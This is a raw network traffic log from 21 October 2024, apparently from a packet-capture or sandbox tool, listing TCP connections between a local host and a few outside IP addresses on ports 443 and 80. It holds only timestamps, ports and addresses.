Oct 21, 2024 13:17:54.803502083 CEST	443	49944	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.803524017 CEST	443	49944	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.803575993 CEST	443	49944	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.803652048 CEST	49944	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.803744078 CEST	49944	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.804792881 CEST	49944	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.804792881 CEST	49944	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.804805994 CEST	443	49944	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.804815054 CEST	443	49944	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.806957960 CEST	49950	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.806989908 CEST	443	49950	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.807105064 CEST	49950	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.807282925 CEST	49950	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.807296038 CEST	443	49950	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.843046904 CEST	443	49946	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.844194889 CEST	49946	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.844194889 CEST	49946	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.844214916 CEST	443	49946	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.844230890 CEST	443	49946	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.902934074 CEST	80	49945	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:54.904264927 CEST	49951	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:54.904311895 CEST	443	49951	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:54.904377937 CEST	49951	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:54.904625893 CEST	49951	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:54.904635906 CEST	443	49951	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:54.944395065 CEST	49945	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:54.979585886 CEST	443	49946	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.979717016 CEST	443	49946	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.979839087 CEST	49946	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.979877949 CEST	49946	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.979888916 CEST	443	49946	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.979923964 CEST	49946	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.979929924 CEST	443	49946	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.982829094 CEST	49952	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.982868910 CEST	443	49952	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:54.982974052 CEST	49952	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.983100891 CEST	49952	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:54.983115911 CEST	443	49952	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.158205032 CEST	443	49947	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.158775091 CEST	49947	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.158790112 CEST	443	49947	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.159266949 CEST	49947	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.159271002 CEST	443	49947	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.273745060 CEST	443	49948	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.274300098 CEST	49948	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.274319887 CEST	443	49948	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.274818897 CEST	49948	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.274823904 CEST	443	49948	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.289069891 CEST	443	49947	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.289146900 CEST	443	49947	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.289388895 CEST	49947	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.289388895 CEST	49947	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.289745092 CEST	49947	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.289755106 CEST	443	49947	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.292021036 CEST	49953	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.292057037 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.292124033 CEST	49953	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.292253971 CEST	49953	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.292265892 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.349740028 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.350506067 CEST	49949	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.350526094 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.351017952 CEST	49949	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.351022959 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.405339003 CEST	443	49948	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.405507088 CEST	443	49948	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.405590057 CEST	49948	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.405771017 CEST	49948	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.405787945 CEST	443	49948	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.405802011 CEST	49948	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.405808926 CEST	443	49948	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.408888102 CEST	49954	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.408910990 CEST	443	49954	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.409006119 CEST	49954	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.409204006 CEST	49954	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.409210920 CEST	443	49954	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.482155085 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.482187033 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.482235909 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.482260942 CEST	49949	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.482312918 CEST	49949	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.482733011 CEST	49949	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.482733011 CEST	49949	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.482752085 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.482763052 CEST	443	49949	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.485836029 CEST	49955	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.485879898 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.485964060 CEST	49955	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.486126900 CEST	49955	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.486139059 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.532702923 CEST	443	49951	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:55.534651995 CEST	49951	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:55.534663916 CEST	443	49951	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:55.555454016 CEST	443	49950	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.556072950 CEST	49950	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.556081057 CEST	443	49950	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.556669950 CEST	49950	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.556674957 CEST	443	49950	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.678584099 CEST	443	49951	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:55.678672075 CEST	443	49951	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:55.678870916 CEST	49951	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:55.679426908 CEST	49951	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:55.683998108 CEST	49956	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:55.689352989 CEST	80	49956	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:55.689485073 CEST	49956	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:55.689577103 CEST	49956	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:55.689963102 CEST	443	49950	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.690099001 CEST	443	49950	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.690161943 CEST	49950	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.690418959 CEST	49950	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.690433979 CEST	443	49950	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.690469980 CEST	49950	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.690478086 CEST	443	49950	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.693897009 CEST	49957	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.693950891 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.694057941 CEST	49957	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.694269896 CEST	49957	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.694283962 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.694866896 CEST	80	49956	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:55.741921902 CEST	443	49952	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.742496014 CEST	49952	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.742518902 CEST	443	49952	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.742955923 CEST	49952	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.742964029 CEST	443	49952	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.879240990 CEST	443	49952	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.879498005 CEST	443	49952	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.879596949 CEST	49952	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.879674911 CEST	49952	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.879688978 CEST	443	49952	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.879719019 CEST	49952	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.879724979 CEST	443	49952	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.883274078 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.883323908 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:55.883419991 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.883595943 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:55.883609056 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.040174007 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.040822029 CEST	49953	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.040868044 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.041178942 CEST	49953	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.041193962 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.142802954 CEST	443	49954	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.143259048 CEST	49954	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.143282890 CEST	443	49954	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.143712997 CEST	49954	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.143718958 CEST	443	49954	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.173825026 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.173845053 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.173904896 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.173914909 CEST	49953	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.173974037 CEST	49953	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.176090002 CEST	49953	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.176137924 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.176171064 CEST	49953	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.176187992 CEST	443	49953	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.221174002 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.255322933 CEST	49955	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.255342960 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.270960093 CEST	49955	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.270970106 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.272100925 CEST	443	49954	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.272277117 CEST	443	49954	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.272325039 CEST	49954	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.274673939 CEST	49954	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.274684906 CEST	443	49954	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.274693966 CEST	49954	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.274698973 CEST	443	49954	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.362643957 CEST	80	49956	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:56.371961117 CEST	49959	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:56.372035027 CEST	443	49959	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:56.372136116 CEST	49959	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:56.372379065 CEST	49959	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:56.372392893 CEST	443	49959	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:56.373152971 CEST	49960	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.373193979 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.373254061 CEST	49960	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.374780893 CEST	49960	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.374794006 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.375381947 CEST	49961	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.375406027 CEST	443	49961	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.375463009 CEST	49961	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.375550032 CEST	49961	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.375559092 CEST	443	49961	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.402755976 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.402825117 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.402889013 CEST	49955	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.402903080 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.402967930 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.403028011 CEST	49955	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.413264990 CEST	49956	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:56.427786112 CEST	49955	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.427809000 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.427820921 CEST	49955	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.427828074 CEST	443	49955	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.438524008 CEST	49962	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.438550949 CEST	443	49962	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.438785076 CEST	49962	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.439115047 CEST	49962	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.439126968 CEST	443	49962	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.452095985 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.458853960 CEST	49957	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.458868027 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.459335089 CEST	49957	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.459342003 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.586983919 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.587002993 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.587058067 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.587079048 CEST	49957	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.587109089 CEST	49957	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.637088060 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.678776026 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.690124989 CEST	49957	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.690139055 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.690166950 CEST	49957	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.690174103 CEST	443	49957	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.692526102 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.692539930 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.693146944 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.693152905 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.706839085 CEST	49963	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.706873894 CEST	443	49963	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:56.706969023 CEST	49963	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.708688974 CEST	49963	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:56.708703995 CEST	443	49963	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.023482084 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.023507118 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.023566961 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.023580074 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.023632050 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.023885965 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.023902893 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.023912907 CEST	49958	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.023917913 CEST	443	49958	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.025959969 CEST	443	49959	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:57.027021885 CEST	49964	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.027056932 CEST	443	49964	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.027124882 CEST	49964	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.027266026 CEST	49964	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.027281046 CEST	443	49964	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.027493954 CEST	49959	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:57.027524948 CEST	443	49959	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:57.155694008 CEST	443	49961	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.156933069 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.158385992 CEST	49961	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.158394098 CEST	443	49961	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.158473015 CEST	49960	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.158502102 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.159029961 CEST	49961	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.159034967 CEST	443	49961	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.159059048 CEST	49960	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.159065962 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.165724993 CEST	443	49959	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:57.165803909 CEST	443	49959	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:57.165930986 CEST	49959	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:57.166481018 CEST	49959	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:57.169600964 CEST	49956	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:57.170814037 CEST	49965	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:57.175304890 CEST	80	49956	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:57.175410986 CEST	49956	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:57.176220894 CEST	80	49965	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:57.176299095 CEST	49965	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:57.176393032 CEST	49965	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:57.181153059 CEST	443	49962	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.181627989 CEST	49962	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.181653023 CEST	443	49962	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.181715965 CEST	80	49965	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:57.182069063 CEST	49962	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.182079077 CEST	443	49962	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.291369915 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.291419983 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.291479111 CEST	49960	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.291487932 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.291546106 CEST	49960	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.291666985 CEST	49960	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.291696072 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.291704893 CEST	49960	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.291712046 CEST	443	49960	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.294384956 CEST	49966	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.294431925 CEST	443	49966	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.294657946 CEST	49966	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.294657946 CEST	49966	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.294687986 CEST	443	49966	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.311248064 CEST	443	49962	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.311597109 CEST	443	49962	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.311659098 CEST	49962	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.311719894 CEST	49962	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.311719894 CEST	49962	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.311737061 CEST	443	49962	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.311758041 CEST	443	49962	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.314712048 CEST	49967	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.314737082 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.314824104 CEST	49967	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.315020084 CEST	49967	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.315027952 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.431188107 CEST	443	49963	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.432188988 CEST	49963	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.432236910 CEST	443	49963	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.432738066 CEST	49963	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.432748079 CEST	443	49963	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.438460112 CEST	443	49961	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.438957930 CEST	443	49961	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.439058065 CEST	49961	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.439112902 CEST	49961	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.439112902 CEST	49961	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.439125061 CEST	443	49961	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.439135075 CEST	443	49961	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.442044020 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.442073107 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.442209005 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.442332983 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.442344904 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.559463024 CEST	443	49963	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.559715986 CEST	443	49963	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.559787035 CEST	49963	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.559818029 CEST	49963	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.559837103 CEST	443	49963	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.559849977 CEST	49963	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.559855938 CEST	443	49963	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.562781096 CEST	49969	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.562834024 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.562907934 CEST	49969	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.563101053 CEST	49969	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.563119888 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.758874893 CEST	443	49964	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.759871960 CEST	49964	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.759871960 CEST	49964	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.759913921 CEST	443	49964	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.759931087 CEST	443	49964	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.888453007 CEST	443	49964	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.888530016 CEST	443	49964	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.888777018 CEST	49964	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.888984919 CEST	49964	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.889004946 CEST	443	49964	13.107.246.45	192.168.2.9
